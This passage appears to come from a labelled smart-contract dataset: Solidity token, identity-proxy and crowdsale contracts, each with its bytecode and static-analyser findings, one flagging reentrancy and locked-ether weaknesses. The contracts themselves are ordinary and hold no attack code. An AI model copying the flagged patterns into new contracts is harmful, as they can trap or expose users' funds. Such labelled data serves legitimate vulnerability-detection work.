https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: node_modules/zeppelin-solidity/contracts/token/ERC20/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } // File: contracts/MondidoCoin.sol contract MondidoCoin is MintableToken { string public name = "MONDIDO COIN"; string public symbol = "MDO"; uint8 public decimals = 18; }
0x6060604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b81146100ea57806306fdde0314610111578063095ea7b31461019b57806318160ddd146101bd57806323b872dd146101e2578063313ce5671461020a57806340c10f1914610233578063661884631461025557806370a08231146102775780637d64bcb4146102965780638da5cb5b146102a957806395d89b41146102d8578063a9059cbb146102eb578063d73dd6231461030d578063dd62ed3e1461032f578063f2fde38b14610354575b600080fd5b34156100f557600080fd5b6100fd610375565b604051901515815260200160405180910390f35b341561011c57600080fd5b610124610385565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610160578082015183820152602001610148565b50505050905090810190601f16801561018d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101a657600080fd5b6100fd600160a060020a0360043516602435610423565b34156101c857600080fd5b6101d061048f565b60405190815260200160405180910390f35b34156101ed57600080fd5b6100fd600160a060020a0360043581169060243516604435610495565b341561021557600080fd5b61021d610615565b60405160ff909116815260200160405180910390f35b341561023e57600080fd5b6100fd600160a060020a036004351660243561061e565b341561026057600080fd5b6100fd600160a060020a036004351660243561072c565b341561028257600080fd5b6101d0600160a060020a0360043516610826565b34156102a157600080fd5b6100fd610841565b34156102b457600080fd5b6102bc6108cc565b604051600160a060020a03909116815260200160405180910390f35b34156102e357600080fd5b6101246108db565b34156102f657600080fd5b6100fd600160a060020a0360043516602435610946565b341561031857600080fd5b6100fd600160a060020a0360043516602435610a58565b341561033a57600080fd5b6101d0600160a060020a0360043581169060243516610afc565b341561035f57600080fd5b610373600160a060020a0360043516610b27565b005b60035460a060020a900460ff1681565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561041b5780601f106103f05761010080835404028352916020019161041b565b820191906000526020600020905b8154815290600101906020018083116103fe57829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6000600160a060020a03831615156104ac57600080fd5b600160a060020a0384166000908152602081905260409020548211156104d157600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561050457600080fd5b600160a060020a03841660009081526020819052604090205461052d908363ffffffff610bc216565b600160a060020a038086166000908152602081905260408082209390935590851681522054610562908363ffffffff610bd416565b600160a060020a03808516600090815260208181526040808320949094558783168252600281528382203390931682529190915220546105a8908363ffffffff610bc216565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60065460ff1681565b60035460009033600160a060020a0390811691161461063c57600080fd5b60035460a060020a900460ff161561065357600080fd5b600154610666908363ffffffff610bd416565b600155600160a060020a038316600090815260208190526040902054610692908363ffffffff610bd416565b600160a060020a0384166000818152602081905260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561078957600160a060020a0333811660009081526002602090815260408083209388168352929052908120556107c0565b610799818463ffffffff610bc216565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60035460009033600160a060020a0390811691161461085f57600080fd5b60035460a060020a900460ff161561087657600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600354600160a060020a031681565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561041b5780601f106103f05761010080835404028352916020019161041b565b6000600160a060020a038316151561095d57600080fd5b600160a060020a03331660009081526020819052604090205482111561098257600080fd5b600160a060020a0333166000908152602081905260409020546109ab908363ffffffff610bc216565b600160a060020a0333811660009081526020819052604080822093909355908516815220546109e0908363ffffffff610bd416565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610a90908363ffffffff610bd416565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610b4257600080fd5b600160a060020a0381161515610b5757600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610bce57fe5b50900390565b600082820183811015610be357fe5b93925050505600a165627a7a72305820ba9b018f43b0d65e8de0c9eb1034f8b36794a4aa06edc3778058f80eae0c7e790029
{"success": true, "error": null, "results": {}}
5,091
0x5e26d1d62b77d59ee54d97eb5b4bf7aef679067b
pragma solidity 0.4.15; contract Owned { address public owner; modifier onlyOwner() { require(isOwner(msg.sender)); _; } function Owned() { owner = msg.sender; } function isOwner(address addr) public returns(bool) { return addr == owner; } function transfer(address newOwner) public onlyOwner { if (newOwner != address(this)) { owner = newOwner; } } } contract Proxy is Owned { event Forwarded (address indexed destination, uint value, bytes data); event Received (address indexed sender, uint value); function () payable { Received(msg.sender, msg.value); } function forward(address destination, uint value, bytes data) public onlyOwner { require(executeCall(destination, value, data)); Forwarded(destination, value, data); } // copied from GnosisSafe // https://github.com/gnosis/gnosis-safe-contracts/blob/master/contracts/GnosisSafe.sol function executeCall(address to, uint256 value, bytes data) internal returns (bool success) { assembly { success := call(gas, to, value, add(data, 0x20), mload(data), 0, 0) } } } contract IdentityManager { uint adminTimeLock; uint userTimeLock; uint adminRate; event LogIdentityCreated( address indexed identity, address indexed creator, address owner, address indexed recoveryKey); event LogOwnerAdded( address indexed identity, address indexed owner, address instigator); event LogOwnerRemoved( address indexed identity, address indexed owner, address instigator); event LogRecoveryChanged( address indexed identity, address indexed recoveryKey, address instigator); event LogMigrationInitiated( address indexed identity, address indexed newIdManager, address instigator); event LogMigrationCanceled( address indexed identity, address indexed newIdManager, address instigator); event LogMigrationFinalized( address indexed identity, address indexed newIdManager, address instigator); mapping(address => mapping(address => uint)) owners; mapping(address => address) recoveryKeys; mapping(address => mapping(address => uint)) limiter; mapping(address => uint) public migrationInitiated; mapping(address => address) public migrationNewAddress; modifier onlyOwner(address identity) { require(isOwner(identity, msg.sender)); _; } modifier onlyOlderOwner(address identity) { require(isOlderOwner(identity, msg.sender)); _; } modifier onlyRecovery(address identity) { require(recoveryKeys[identity] == msg.sender); _; } modifier rateLimited(address identity) { require(limiter[identity][msg.sender] < (now - adminRate)); limiter[identity][msg.sender] = now; _; } modifier validAddress(address addr) { //protects against some weird attacks require(addr != address(0)); _; } /// @dev Contract constructor sets initial timelock limits /// @param _userTimeLock Time before new owner added by recovery can control proxy /// @param _adminTimeLock Time before new owner can add/remove owners /// @param _adminRate Time period used for rate limiting a given key for admin functionality function IdentityManager(uint _userTimeLock, uint _adminTimeLock, uint _adminRate) { require(_adminTimeLock >= _userTimeLock); adminTimeLock = _adminTimeLock; userTimeLock = _userTimeLock; adminRate = _adminRate; } /// @dev Creates a new proxy contract for an owner and recovery /// @param owner Key who can use this contract to control proxy. Given full power /// @param recoveryKey Key of recovery network or address from seed to recovery proxy /// Gas cost of 289,311 function createIdentity(address owner, address recoveryKey) public validAddress(recoveryKey) { Proxy identity = new Proxy(); owners[identity][owner] = now - adminTimeLock; // This is to ensure original owner has full power from day one recoveryKeys[identity] = recoveryKey; LogIdentityCreated(identity, msg.sender, owner, recoveryKey); } /// @dev Creates a new proxy contract for an owner and recovery and allows an initial forward call which would be to set the registry in our case /// @param owner Key who can use this contract to control proxy. Given full power /// @param recoveryKey Key of recovery network or address from seed to recovery proxy /// @param destination Address of contract to be called after proxy is created /// @param data of function to be called at the destination contract function createIdentityWithCall(address owner, address recoveryKey, address destination, bytes data) public validAddress(recoveryKey) { Proxy identity = new Proxy(); owners[identity][owner] = now - adminTimeLock; // This is to ensure original owner has full power from day one recoveryKeys[identity] = recoveryKey; LogIdentityCreated(identity, msg.sender, owner, recoveryKey); identity.forward(destination, 0, data); } /// @dev Allows a user to transfer control of existing proxy to this contract. Must come through proxy /// @param owner Key who can use this contract to control proxy. Given full power /// @param recoveryKey Key of recovery network or address from seed to recovery proxy /// Note: User must change owner of proxy to this contract after calling this function registerIdentity(address owner, address recoveryKey) public validAddress(recoveryKey) { require(recoveryKeys[msg.sender] == 0); // Deny any funny business owners[msg.sender][owner] = now - adminTimeLock; // This is to ensure original owner has full power from day one recoveryKeys[msg.sender] = recoveryKey; LogIdentityCreated(msg.sender, msg.sender, owner, recoveryKey); } /// @dev Allows a user to forward a call through their proxy. function forwardTo(Proxy identity, address destination, uint value, bytes data) public onlyOwner(identity) { identity.forward(destination, value, data); } /// @dev Allows an olderOwner to add a new owner instantly function addOwner(Proxy identity, address newOwner) public onlyOlderOwner(identity) rateLimited(identity) { require(!isOwner(identity, newOwner)); owners[identity][newOwner] = now - userTimeLock; LogOwnerAdded(identity, newOwner, msg.sender); } /// @dev Allows a recoveryKey to add a new owner with userTimeLock waiting time function addOwnerFromRecovery(Proxy identity, address newOwner) public onlyRecovery(identity) rateLimited(identity) { require(!isOwner(identity, newOwner)); owners[identity][newOwner] = now; LogOwnerAdded(identity, newOwner, msg.sender); } /// @dev Allows an owner to remove another owner instantly function removeOwner(Proxy identity, address owner) public onlyOlderOwner(identity) rateLimited(identity) { // an owner should not be allowed to remove itself require(msg.sender != owner); delete owners[identity][owner]; LogOwnerRemoved(identity, owner, msg.sender); } /// @dev Allows an owner to change the recoveryKey instantly function changeRecovery(Proxy identity, address recoveryKey) public onlyOlderOwner(identity) rateLimited(identity) validAddress(recoveryKey) { recoveryKeys[identity] = recoveryKey; LogRecoveryChanged(identity, recoveryKey, msg.sender); } /// @dev Allows an owner to begin process of transfering proxy to new IdentityManager function initiateMigration(Proxy identity, address newIdManager) public onlyOlderOwner(identity) validAddress(newIdManager) { migrationInitiated[identity] = now; migrationNewAddress[identity] = newIdManager; LogMigrationInitiated(identity, newIdManager, msg.sender); } /// @dev Allows an owner to cancel the process of transfering proxy to new IdentityManager function cancelMigration(Proxy identity) public onlyOwner(identity) { address canceledManager = migrationNewAddress[identity]; delete migrationInitiated[identity]; delete migrationNewAddress[identity]; LogMigrationCanceled(identity, canceledManager, msg.sender); } /// @dev Allows an owner to finalize migration once adminTimeLock time has passed /// WARNING: before transfering to a new address, make sure this address is "ready to recieve" the proxy. /// Not doing so risks the proxy becoming stuck. function finalizeMigration(Proxy identity) public onlyOlderOwner(identity) { require(migrationInitiated[identity] != 0 && migrationInitiated[identity] + adminTimeLock < now); address newIdManager = migrationNewAddress[identity]; delete migrationInitiated[identity]; delete migrationNewAddress[identity]; identity.transfer(newIdManager); delete recoveryKeys[identity]; // We can only delete the owner that we know of. All other owners // needs to be removed before a call to this method. delete owners[identity][msg.sender]; LogMigrationFinalized(identity, newIdManager, msg.sender); } function isOwner(address identity, address owner) public constant returns (bool) { return (owners[identity][owner] > 0 && (owners[identity][owner] + userTimeLock) <= now); } function isOlderOwner(address identity, address owner) public constant returns (bool) { return (owners[identity][owner] > 0 && (owners[identity][owner] + adminTimeLock) <= now); } function isRecovery(address identity, address recoveryKey) public constant returns (bool) { return recoveryKeys[identity] == recoveryKey; } }
0x606060405236156100ca5763ffffffff60e060020a60003504166311fe12b381146100cf57806316d390bf1461010857806332967ea01461012f5780633c8ac88e146101685780633dcf59ca146101d8578063422e33f3146101ff5780635143eea21461023a57806353faa9a914610261578063633b1954146102885780636f022ac4146102a957806373b40a5c146102ca578063781f5a83146103385780637ddc02d41461035f578063c778427b14610398578063d10e73ab146103c9578063fbe5ce0a146103f0575b600080fd5b34156100da57600080fd5b6100f4600160a060020a0360043581169060243516610417565b604051901515815260200160405180910390f35b341561011357600080fd5b61012d600160a060020a036004358116906024351661043e565b005b341561013a57600080fd5b6100f4600160a060020a0360043581169060243516610547565b604051901515815260200160405180910390f35b341561017357600080fd5b61012d60048035600160a060020a03908116916024803583169260443516919060849060643590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506105b195505050505050565b005b34156101e357600080fd5b61012d600160a060020a0360043581169060243516610767565b005b341561020a57600080fd5b61021e600160a060020a0360043516610815565b604051600160a060020a03909116815260200160405180910390f35b341561024557600080fd5b61012d600160a060020a0360043581169060243516610830565b005b341561026c57600080fd5b61012d600160a060020a0360043581169060243516610944565b005b341561029357600080fd5b61012d600160a060020a0360043516610a42565b005b34156102b457600080fd5b61012d600160a060020a0360043516610bc6565b005b34156102d557600080fd5b61012d600160a060020a036004803582169160248035909116916044359160849060643590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610c6495505050505050565b005b341561034357600080fd5b61012d600160a060020a0360043581169060243516610d64565b005b341561036a57600080fd5b6100f4600160a060020a0360043581169060243516610e37565b604051901515815260200160405180910390f35b34156103a357600080fd5b6103b7600160a060020a0360043516610ea1565b60405190815260200160405180910390f35b34156103d457600080fd5b61012d600160a060020a0360043581169060243516610eb3565b005b34156103fb57600080fd5b61012d600160a060020a0360043581169060243516610f85565b005b600160a060020a038281166000908152600460205260409020548116908216145b92915050565b816104498133610547565b151561045457600080fd5b600254600160a060020a038085166000908152600560209081526040808320339094168352929052205484914203901061048d57600080fd5b600160a060020a038082166000908152600560209081526040808320339094168352929052204290556104c08484610e37565b156104ca57600080fd5b600154600160a060020a0380861660008181526003602090815260408083209489168084529490915290819020429490940390935590917f8672e8532f3edff41d3acf0cd4be6ff900e427461b81d094f0197354471cb3c690339051600160a060020a03909116815260200160405180910390a35b5b505b505050565b600160a060020a03808316600090815260036020908152604080832093851683529290529081205481901180156105a8575060008054600160a060020a03808616835260036020908152604080852092871685529190529091205442910111155b90505b92915050565b600083600160a060020a03811615156105c957600080fd5b6105d161107f565b604051809103906000f08015156105e757600080fd5b60008054600160a060020a038381168084526003602090815260408086208d851687528252808620429590950390945581855260049052928290208054600160a060020a0319168a8316908117909155939550331691907f14e580ab5cd452b772e031536a7c893ec705152c17b3665c6671b382c3ee6266908a9051600160a060020a03909116815260200160405180910390a481600160a060020a031663d7f31eb9856000866040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156106fc5780820151818401525b6020016106e3565b50505050905090810190601f1680156107295780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561074957600080fd5b6102c65a03f1151561075a57600080fd5b5050505b5b505050505050565b816107728133610547565b151561077d57600080fd5b81600160a060020a038116151561079357600080fd5b600160a060020a0384811660008181526006602090815260408083204290556007909152908190208054600160a060020a03191693871693841790557fb7b4557c664a8a4a9a57f5e00f216de044a96f96fc84b70eaa6bd48cb078454190339051600160a060020a03909116815260200160405180910390a35b5b505b505050565b600760205260009081526040902054600160a060020a031681565b600160a060020a03828116600090815260046020526040902054839133811691161461085b57600080fd5b600254600160a060020a038085166000908152600560209081526040808320339094168352929052205484914203901061089457600080fd5b600160a060020a038082166000908152600560209081526040808320339094168352929052204290556108c78484610e37565b156108d157600080fd5b600160a060020a03808516600081815260036020908152604080832094881680845294909152908190204290557f8672e8532f3edff41d3acf0cd4be6ff900e427461b81d094f0197354471cb3c690339051600160a060020a03909116815260200160405180910390a35b5b505b505050565b8161094f8133610547565b151561095a57600080fd5b600254600160a060020a038085166000908152600560209081526040808320339094168352929052205484914203901061099357600080fd5b600160a060020a038082166000908152600560209081526040808320338516845290915290204290558390811615156109cb57600080fd5b600160a060020a03858116600081815260046020526040908190208054600160a060020a03191693881693841790557fbd1ad05c16aafa75ac8c1d6b8264f47ad9f3045596f667c9476f3f749c01870990339051600160a060020a03909116815260200160405180910390a35b5b505b505b505050565b600081610a4f8133610547565b1515610a5a57600080fd5b600160a060020a03831660009081526006602052604090205415801590610a9c575060008054600160a060020a03851682526006602052604090912054429101105b1515610aa757600080fd5b600160a060020a03808416600081815260076020818152604080842080546006845282862095909555929091528154600160a060020a0319169091559216935090631a6952309084905160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515610b2c57600080fd5b6102c65a03f11515610b3d57600080fd5b505050600160a060020a0380841660008181526004602090815260408083208054600160a060020a031916905560038252808320338087168552925280832092909255928516927f565ed5a2d5e196b82acb6ff1149b699c2b13169c7d34412d736d3c380de64f319151600160a060020a03909116815260200160405180910390a35b5b505050565b600081610bd38133610e37565b1515610bde57600080fd5b600160a060020a03808416600081815260076020818152604080842080546006845282862095909555929091528154600160a060020a0319169091559216935083917f60e805c5650597523aba29fb00a59c856d925c672bce1ea7d579f03aef3a10ce90339051600160a060020a03909116815260200160405180910390a35b5b505050565b83610c6f8133610e37565b1515610c7a57600080fd5b84600160a060020a031663d7f31eb98585856040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610cfa5780820151818401525b602001610ce1565b50505050905090810190601f168015610d275780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515610d4757600080fd5b6102c65a03f11515610d5857600080fd5b5050505b5b5050505050565b80600160a060020a0381161515610d7a57600080fd5b600160a060020a033381166000908152600460205260409020541615610d9f57600080fd5b60008054600160a060020a0333811680845260036020908152604080862089851687528252808620429590950390945581855260049052928290208054918616600160a060020a031990921682179055919081907f14e580ab5cd452b772e031536a7c893ec705152c17b3665c6671b382c3ee626690879051600160a060020a03909116815260200160405180910390a45b5b505050565b600160a060020a03808316600090815260036020908152604080832093851683529290529081205481901180156105a85750600154600160a060020a0380851660009081526003602090815260408083209387168352929052205442910111155b90505b92915050565b60066020526000908152604090205481565b600081600160a060020a0381161515610ecb57600080fd5b610ed361107f565b604051809103906000f0801515610ee957600080fd5b60008054600160a060020a038381168084526003602090815260408086208b851687528252808620429590950390945581855260049052928290208054600160a060020a031916888316908117909155939550331691907f14e580ab5cd452b772e031536a7c893ec705152c17b3665c6671b382c3ee626690889051600160a060020a03909116815260200160405180910390a45b5b50505050565b81610f908133610547565b1515610f9b57600080fd5b600254600160a060020a0380851660009081526005602090815260408083203390941683529290522054849142039010610fd457600080fd5b600160a060020a0380821660009081526005602090815260408083203385168085529252909120429055908416141561100c57600080fd5b600160a060020a03808516600081815260036020908152604080832094881680845294909152808220919091557f5e159cd4447854ae8b4aa048f91c8daad986faab696c3685030e1a5e5a4e8ced90339051600160a060020a03909116815260200160405180910390a35b5b505b505050565b60405161035f8061109083390190560060606040525b60008054600160a060020a03191633600160a060020a03161790555b5b61032e806100316000396000f3006060604052361561005f5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631a69523081146100a05780632f54bf6e146100c15780638da5cb5b146100f4578063d7f31eb914610123575b5b33600160a060020a03167f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f885258743460405190815260200160405180910390a25b005b34156100ab57600080fd5b61009e600160a060020a036004351661018a565b005b34156100cc57600080fd5b6100e0600160a060020a03600435166101e7565b604051901515815260200160405180910390f35b34156100ff57600080fd5b6101076101fe565b604051600160a060020a03909116815260200160405180910390f35b341561012e57600080fd5b61009e60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061020d95505050505050565b005b610193336101e7565b151561019e57600080fd5b30600160a060020a031681600160a060020a03161415156101e2576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b600054600160a060020a038281169116145b919050565b600054600160a060020a031681565b610216336101e7565b151561022157600080fd5b61022c8383836102e9565b151561023757600080fd5b82600160a060020a03167fc1de93dfa06362c6a616cde73ec17d116c0d588dd1df70f27f91b500de207c41838360405182815260406020820181815290820183818151815260200191508051906020019080838360005b838110156102a75780820151818401525b60200161028e565b50505050905090810190601f1680156102d45780820380516001836020036101000a031916815260200191505b50935050505060405180910390a25b5b505050565b600080600083516020850186885af190505b93925050505600a165627a7a7230582097e465c17bc91025ba03565b8755ae5d6185ebe97784df6ad83fe3998bd730850029a165627a7a723058200014d150a5111642f713577bb13892cd30f4752b5b55434f591f19fb0c25d8c40029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,092
0xd76b629c528548582af14c4d3a851830bb0c6978
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.8.4; /// @notice Safe ETH and ERC-20 transfer library that gracefully handles missing return values. /// @author Modified from SolMate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeTransferLib.sol) /// License-Identifier: AGPL-3.0-only /// @dev Use with caution! Some functions in this library knowingly create dirty bits at the destination of the free memory pointer. library SafeTransferLib { /*/////////////////////////////////////////////////////////////// ERRORS //////////////////////////////////////////////////////////////*/ error ETHtransferFailed(); error TransferFailed(); error TransferFromFailed(); /*/////////////////////////////////////////////////////////////// ETH OPERATIONS //////////////////////////////////////////////////////////////*/ function _safeTransferETH(address to, uint256 amount) internal { bool callStatus; assembly { // transfer the ETH and store if it succeeded or not callStatus := call(gas(), to, amount, 0, 0, 0, 0) } if (!callStatus) revert ETHtransferFailed(); } /*/////////////////////////////////////////////////////////////// ERC20 OPERATIONS //////////////////////////////////////////////////////////////*/ function _safeTransfer( address token, address to, uint256 amount ) internal { bool callStatus; assembly { // get a pointer to some free memory let freeMemoryPointer := mload(0x40) // write the abi-encoded calldata to memory piece by piece: mstore(freeMemoryPointer, 0xa9059cbb00000000000000000000000000000000000000000000000000000000) // begin with the function selector mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // mask and append the "to" argument mstore(add(freeMemoryPointer, 36), amount) // finally append the "amount" argument - no mask as it's a full 32 byte value // call the token and store if it succeeded or not // we use 68 because the calldata length is 4 + 32 * 2 callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0) } if (!_didLastOptionalReturnCallSucceed(callStatus)) revert TransferFailed(); } function _safeTransferFrom( address token, address from, address to, uint256 amount ) internal { bool callStatus; assembly { // get a pointer to some free memory let freeMemoryPointer := mload(0x40) // write the abi-encoded calldata to memory piece by piece: mstore(freeMemoryPointer, 0x23b872dd00000000000000000000000000000000000000000000000000000000) // begin with the function selector mstore(add(freeMemoryPointer, 4), and(from, 0xffffffffffffffffffffffffffffffffffffffff)) // mask and append the "from" argument mstore(add(freeMemoryPointer, 36), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // mask and append the "to" argument mstore(add(freeMemoryPointer, 68), amount) // finally append the "amount" argument - no mask as it's a full 32 byte value // call the token and store if it succeeded or not // we use 100 because the calldata length is 4 + 32 * 3 callStatus := call(gas(), token, 0, freeMemoryPointer, 100, 0, 0) } if (!_didLastOptionalReturnCallSucceed(callStatus)) revert TransferFromFailed(); } /*/////////////////////////////////////////////////////////////// INTERNAL HELPER LOGIC //////////////////////////////////////////////////////////////*/ function _didLastOptionalReturnCallSucceed(bool callStatus) internal pure returns (bool success) { assembly { // get how many bytes the call returned let returnDataSize := returndatasize() // if the call reverted: if iszero(callStatus) { // copy the revert message into memory returndatacopy(0, 0, returnDataSize) // revert with the same message revert(0, returnDataSize) } switch returnDataSize case 32 { // copy the return data into memory returndatacopy(0, 0, returnDataSize) // set success to whether it returned true success := iszero(iszero(mload(0))) } case 0 { // there was no return data success := 1 } default { // it returned some malformed input success := 0 } } } } /// @notice Kali DAO access manager interface. interface IKaliAccessManager { function listedAccounts(uint256 listId, address account) external returns (bool); function joinList( uint256 listId, address account, bytes32[] calldata merkleProof ) external; } /// @notice Kali DAO share manager interface. interface IKaliShareManager { function mintShares(address to, uint256 amount) external; function burnShares(address from, uint256 amount) external; } /// @notice EIP-2612 interface. interface IERC20Permit { function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } /// @notice Helper utility that enables calling multiple local methods in a single call. /// @author Modified from Uniswap (https://github.com/Uniswap/v3-periphery/blob/main/contracts/base/Multicall.sol) abstract contract Multicall { function multicall(bytes[] calldata data) public virtual returns (bytes[] memory results) { results = new bytes[](data.length); // cannot realistically overflow on human timescales unchecked { for (uint256 i = 0; i < data.length; i++) { (bool success, bytes memory result) = address(this).delegatecall(data[i]); if (!success) { if (result.length < 68) revert(); assembly { result := add(result, 0x04) } revert(abi.decode(result, (string))); } results[i] = result; } } } } /// @notice Gas-optimized reentrancy protection. /// @author Modified from OpenZeppelin /// (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol) /// License-Identifier: MIT abstract contract ReentrancyGuard { error Reentrancy(); uint256 private constant NOT_ENTERED = 1; uint256 private constant ENTERED = 2; uint256 private status = NOT_ENTERED; modifier nonReentrant() { if (status == ENTERED) revert Reentrancy(); status = ENTERED; _; status = NOT_ENTERED; } } /// @notice Crowdsale contract that receives ETH or ERC-20 to mint registered DAO tokens, including merkle access lists. contract KaliDAOcrowdsale is Multicall, ReentrancyGuard { using SafeTransferLib for address; event ExtensionSet( address indexed dao, uint256 listId, address purchaseToken, uint8 purchaseMultiplier, uint96 purchaseLimit, uint32 saleEnds, string details ); event ExtensionCalled(address indexed dao, address indexed purchaser, uint256 amountOut); error NullMultiplier(); error SaleEnded(); error NotListed(); error PurchaseLimit(); IKaliAccessManager private immutable accessManager; address private immutable wETH; mapping(address => Crowdsale) public crowdsales; struct Crowdsale { uint256 listId; address purchaseToken; uint8 purchaseMultiplier; uint96 purchaseLimit; uint96 amountPurchased; uint32 saleEnds; string details; } constructor(IKaliAccessManager accessManager_, address wETH_) { accessManager = accessManager_; wETH = wETH_; } function setExtension(bytes calldata extensionData) public nonReentrant virtual { (uint256 listId, address purchaseToken, uint8 purchaseMultiplier, uint96 purchaseLimit, uint32 saleEnds, string memory details) = abi.decode(extensionData, (uint256, address, uint8, uint96, uint32, string)); if (purchaseMultiplier == 0) revert NullMultiplier(); crowdsales[msg.sender] = Crowdsale({ listId: listId, purchaseToken: purchaseToken, purchaseMultiplier: purchaseMultiplier, purchaseLimit: purchaseLimit, amountPurchased: 0, saleEnds: saleEnds, details: details }); emit ExtensionSet(msg.sender, listId, purchaseToken, purchaseMultiplier, purchaseLimit, saleEnds, details); } function joinList(uint256 listId, bytes32[] calldata merkleProof) public virtual { accessManager.joinList( listId, msg.sender, merkleProof ); } function setPermit( 